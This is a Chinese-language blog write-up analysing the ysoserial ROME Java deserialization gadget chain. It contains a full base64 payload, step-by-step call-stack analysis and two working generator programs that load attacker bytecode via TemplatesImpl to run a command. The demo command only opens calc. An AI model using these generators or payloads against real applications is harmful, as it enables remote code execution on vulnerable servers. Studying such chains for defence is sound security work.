参考:

ysoserial官方ROME链

环境搭建

java版本:JDK1.8_112

maven依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/net.java.dev.rome/rome -->
<dependency>
<groupId>net.java.dev.rome</groupId>
<artifactId>rome</artifactId>
<version>1.0.0</version>
</dependency>

ysoserial下载

漏洞复现

生成payload

1
java -jar yso*.jar ROME calc | base64
1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAaWyv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEABGNhbGMIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBABx5c29zZXJpYWwvUHduZXI0OTcwMDU5NzI1NDQwAQAeTHlzb3NlcmlhbC9Qd25lcjQ5NzAwNTk3MjU0NDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAXAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhzcgAoY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuRXF1YWxzQmVhbvWKGLvl9hgRAgACTAAKX2JlYW5DbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAEX29ianEAfgAJeHB2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwcQB+ABRzcgAqY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuVG9TdHJpbmdCZWFuCfWOSg8j7jECAAJMAApfYmVhbkNsYXNzcQB+ABxMAARfb2JqcQB+AAl4cHEAfgAfcQB+ABRzcQB+ABt2cQB+AAJxAH4ADXNxAH4AIHEAfgAjcQB+AA1xAH4ABnEAfgAGcQB+AAZ4

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
String data="rO0A..........";//复制payload到此处即可
byte[] bytes = Base64.getDecoder().decode(data);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();

}
}

运行

成功RCE

过程分析

ysoserial给出的利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

下断点,看调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<init>:47, Pwner4970059725440 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
toString:120, ObjectBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:110, ObjectBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
readObject:1405, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:14, Main (org.example)

直接从HashMap开始分析

对key进行hash,

注意这里的key是ObjectBean@919,在之后反推和构造Gadgat时要用到,后续还会嵌套在其他对象里面,用IDEA给的编号确定对象位置

调用任意类的hashcode(很多链子中都用到了HashMap作为入口)

这里是调用ObjectBean类的hashCode方法

调用ObjectBean对象中的_equalsBean的beanHashCode方法

这里_equalsBean就是EqualsBean

调用嵌套在_equalsBean里的ObjectBean的toString方法

注意这里的ObjectBean对象为926,与第一步中的919是两个不一样的对象

调用_toStringBean的toString方法

这里的prefix是_obj(当前为TemplatesImpl)的类名

跟进后续的toString方法

这里的toString方法会先获取JavaBean的属性描述符,然后调用_obj对象中的所有getter方法

  • 对于布尔类型的属性,getter方法通常命名为is+属性名的首字母大写的形式,例如isReady()
  • 对于非布尔类型的属性,getter方法通常命名为get+属性名的首字母大写的形式,例如getName()

Gadget在这里利用的是TemplatesImpl类的getOutputProperties方法

跟进到getOutputProperties方法

跟进newTransformer方法

该方法的目的是创建一个新的Transformer对象,进行必要的配置,然后返回它

跟进getTransletInstance方法

这里的ysoserial.Pwner类是yso在生成ROME链的generate payload时注入的恶意字节码,类似于我们自己写的Evil.class

此时的class数组指向调用Pwner类,newInstance创建实例时就触发了恶意代码块,进行RCE

逆向还原Gadget

1
2
3
4
5
6
7
8
9
10
11
12
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

根据利用链和调用栈信息,边写边调试,初步构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

class Evil implements Serializable{
public String name;
static {
System.out.println("hacked!");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, CannotCompileException, NotFoundException, NoSuchFieldException, IllegalAccessException {
//配置TemplatesImpl
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("org.example.Evil");
byte[] byteCode = ctClass.toBytecode();
byte[][] bytes = new byte[1][];
bytes[0]=byteCode;

HashMap <ObjectBean,String> hashMap = new HashMap<>();
TemplatesImpl templates = new TemplatesImpl();

Class<?> tempCls = TemplatesImpl.class;
Field _bytecodes= tempCls.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates,bytes);

Field _class= tempCls.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates,new Class[]{Evil.class});

//内层ObjectBean用于调用toStringBean.toString方法
ObjectBean objectBean1 = new ObjectBean(TemplatesImpl.class,templates);
//外层ObjectBean用于调用EqualsBean的hashCode方法
ObjectBean objectBean2 = new ObjectBean(ObjectBean.class,objectBean1);
hashMap.put(objectBean2,"1");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectInputStream = new ObjectOutputStream(byteArrayOutputStream);
objectInputStream.writeObject(hashMap);
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream1 = new ObjectInputStream(byteArrayInputStream);
HashMap hashMap1 = (HashMap) objectInputStream1.readObject();
int b=1;
}
}

本地运行,能够RCE

但是如果直接用payload去反序列化的话,就会产生Exception in thread "main" java.lang.ClassNotFoundException: org.example.Evil异常,也就是说,classpath中必须存在Evil类的字节码才可以,这显然不符合我们的要求。

我尝试了另一个思路,就是找到一个存在的类尝试覆盖,但是serialVersionUID否定了我的想法

1
Exception in thread "main" java.io.InvalidClassException: com.sun.syndication.io.FeedException; local class incompatible: stream classdesc serialVersionUID = -5970530855978771795, local class serialVersionUID = -8761681574235401334

那为什么ysoserial给出的payload就可以实现动态类加载呢?

经过了一段时间(折磨了1天)的代码阅读与大量的调试与修改,我把一些没有什么意义的代码精简后,实现了ysoserial payload的动态加载的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package org.example;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;


public class Main {

public static class Evil extends AbstractTranslet implements Serializable {
public Evil(){
System.out.println("constructor called....");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(Evil.class.getName());

//获取修改过的Evil的字节码
byte[] byteCode = ctClass.toBytecode();

//配置TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();

Class<?> tempCls = TemplatesImpl.class;
Field _bytecodes= tempCls.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates,new byte[][]{byteCode});

Field _name= tempCls.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates,"lanb0");

//内层ObjectBean用于调用toStringBean.toString方法
ObjectBean delegate = new ObjectBean(Templates.class,templates);
//外层ObjectBean用于调用EqualsBean的hashCode方法
ObjectBean objectBean2 = new ObjectBean(ObjectBean.class,delegate);
HashMap hashMap=new HashMap<>();
hashMap.put(objectBean2,objectBean2);

//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectInputStream = new ObjectOutputStream(byteArrayOutputStream);
objectInputStream.writeObject(hashMap);

//打印payload
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));

//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream1 = new ObjectInputStream(byteArrayInputStream);
objectInputStream1.readObject();

}

}

从目前来看,要保证能够实现动态类加载,最关键的有2处:

  1. 恶意类必须继承自AbstractTranslet类,并实现Translet接口的transform方法
  2. 恶意类必须为public

深入探究

为了探究其本质原因,需要更进一步的审计。

观察两个payload generator代码上的不同,可以发现在最初的代码里我们对TemplatesImpl_class属性进行了修改,猜测关键点可能在此处,故定位到getTransletInstance的这一行判断

1
2
3
......
if (_class == null) defineTransletClasses();
......

看到方法名,推测可能与类加载有关,跟进defineTransletClasses

看到这里就恍然大悟了,首先loader.defineClass将Evil类的字节码加载进内存,这样就相当于在classpath中导入了这个类。而在初步构造gadget时,我们先入为主地把_class属性设置好,导致加载Evil类字节码这一步骤被省略。

此外,还检查了Evil类的父类,如果满足条件,就把之后用于遍历_class的索引值初始化为i,也就是0。

还剩下最后的public访问修饰符的问题,首先把Evil类的访问修饰符改为默认,即把public去掉

再次跟踪到getTransletInstance方法后,多调试几次,可以发现捕获到了一个异常

其中,异常信息为:

1
Class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl can not access a member of class org.example.Main$Evil with modifiers "public"

也就是说,非public类只能在包含它本身的包内使用,所以抛出了这个异常

结尾

通过本次对ROME链的深入剖析,也算是加深了对java的一些基础知识的理解,JAVA安全之路漫漫其修远兮。